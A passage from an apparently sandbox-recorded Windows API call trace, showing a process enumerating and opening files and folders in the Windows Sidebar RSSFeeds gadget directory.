ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f658 [0090.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.221] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.222] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.222] NtClose (Handle=0x164) returned 0x0 [0090.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f658) returned 1 [0090.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f658 [0090.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f760 [0090.224] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.224] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.224] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0090.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f868 [0090.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3078 [0090.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f970 [0090.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.226] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0090.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3098 [0090.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133fa78 [0090.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.228] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f30b8 [0090.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133fb80 [0090.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9280) returned 0x135c9e8 [0090.229] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0090.229] GetLastError () returned 0x12 [0090.229] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.229] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0090.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0090.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0090.230] GetLastError () returned 0x12 [0090.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f760) returned 1 [0090.230] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f868) returned 1 [0090.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f658) returned 1 [0090.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0090.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f658 [0090.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.233] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.233] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.233] NtClose (Handle=0x15c) returned 0x0 [0090.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f658) returned 1 [0090.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f658 [0090.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f868 [0090.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.235] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.235] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0090.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f760 [0090.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f30d8 [0090.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133fc88 [0090.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.237] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f30f8 [0090.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133fd90 [0090.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.239] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0090.239] GetLastError () returned 0x12 [0090.239] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.239] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.239] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.239] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0090.239] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.239] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0090.239] GetLastError () returned 0x12 [0090.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f868) returned 1 [0090.239] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f760) returned 1 [0090.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f658) returned 1 [0090.240] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0090.240] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.240] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0090.240] GetLastError () returned 0x12 [0090.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f028) returned 1 [0090.240] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f130) returned 1 [0090.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133ef20) returned 1 [0090.241] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.241] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, 